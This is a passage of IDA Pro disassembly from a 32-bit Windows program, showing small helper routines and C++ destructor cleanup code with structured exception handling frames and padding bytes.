		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416820	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41683B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41683B:				; CODE XREF: sub_416820+11j
		retn
sub_416820	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416870	proc near		; CODE XREF: sub_402040j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41688B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41688B:				; CODE XREF: sub_416870+11j
		retn
sub_416870	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168C0	proc near		; CODE XREF: sub_4020CCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4168DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4168DB:				; CODE XREF: sub_4168C0+11j
		retn
sub_4168C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌè',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 447158B9h
		dd 0B508E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 41697068h, 0FF6CE800h, 0C3590001h, 90909090h, 4 dup(0CCCCCCCCh)
		dd 447158B9h, 0B2CAE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416990:				; CODE XREF: ___:00401C44j
		push	0FFFFFFFFh
		push	offset loc_439FE1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021DA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401EE2
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_40176C
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_401FF5
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401DED
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_40187A
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F28
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B27
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017D0
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018CA
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401EB0
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402216
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017A3
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A23
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C0
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401E83
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014F1
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AE6
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401C8F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401929
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_40143D
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C00	proc near		; CODE XREF: sub_401A23j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43E050
		test	eax, eax
		jle	short loc_416C17
		push	eax
		call	near ptr 71AB9639h
		nop


loc_416C17:				; CODE XREF: sub_416C00+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C30	proc near		; CODE XREF: ___:0040126Cj sub_4019BFj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A23
		test	[esp+4+arg_0], 1
		jz	short loc_416C48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416C48:				; CODE XREF: sub_416C30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416C30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416C60	proc near		; CODE XREF: sub_4017A3j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43E05C
		test	eax, eax
		jle	short loc_416C77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416C77:				; CODE XREF: sub_416C60+Ej
		mov	ecx, esi
		call	sub_402031
		pop	esi
		retn
sub_416C60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416C90:				; CODE XREF: ___:00401627j
					; ___:loc_401C99j
		push	esi
		mov	esi, ecx
		call	sub_4017A3
		test	byte ptr [esp+8], 1
		jz	short loc_416CA8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CA8:				; CODE XREF: ___:00416C9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416CC0	proc near		; CODE XREF: sub_40176Cj
		mov	dword ptr [ecx], offset	off_43E068
		jmp	sub_402031
sub_416CC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416CE0:				; CODE XREF: ___:loc_40191Aj
					; ___:0040218Aj
		push	esi
		mov	esi, ecx
		call	sub_40176C
		test	byte ptr [esp+8], 1
		jz	short loc_416CF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416CF8:				; CODE XREF: ___:00416CEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D10	proc near		; CODE XREF: sub_40187Aj
		mov	dword ptr [ecx], offset	off_43E074
		add	ecx, 4
		jmp	sub_401023
sub_416D10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D30:				; CODE XREF: ___:00401E42j
		push	0FFFFFFFFh
		push	offset loc_43A1C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_40209F
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015DC
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_401FFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_4019F1
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_40157D
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_401645
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401776
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_401695
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_401820
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016B3
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_401415
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D11
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A7D
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CA3
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402103
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_401573
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_40178F
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_401424
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_401424
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_401424
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_401424
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416FB0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_416FB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B09
sub_416FB0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417020	proc near		; CODE XREF: sub_401929j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417020
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40206D
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40206D
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40206D
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40206D
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40206D
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AD2
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AD2
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AD2
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AD2
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AD2
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AD2
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AD2
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AD2
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AD2
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AD2
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AD2
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AD2
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AD2
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AD2
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AD2
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AD2
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AD2
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AD2
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AD2
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AD2
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AD2
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AD2
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AD2
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AD2
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AD2
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AD2
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AD2
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AD2
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AD2
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AD2
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AD2
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AD2
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AD2
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AD2
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AD2
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AD2
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AD2
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AD2
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AD2
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417540	proc near		; CODE XREF: sub_4014F1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417540	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4175E0	proc near		; CODE XREF: sub_401E83j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4175E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4175E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417770	proc near		; CODE XREF: sub_402216j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417770
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417770	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417830	proc near		; CODE XREF: sub_401EB0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417830
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417830	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4178F0	proc near		; CODE XREF: sub_4018CAj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4178F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4178F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417960	proc near		; CODE XREF: sub_4017D0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417960
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417960	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_401B27j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4179D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4179D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A40	proc near		; CODE XREF: sub_401F28j
		add	ecx, 4
		jmp	sub_401023
sub_417A40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417A60	proc near		; CODE XREF: sub_401113j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+60h]
		mov	[esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417A60	endp

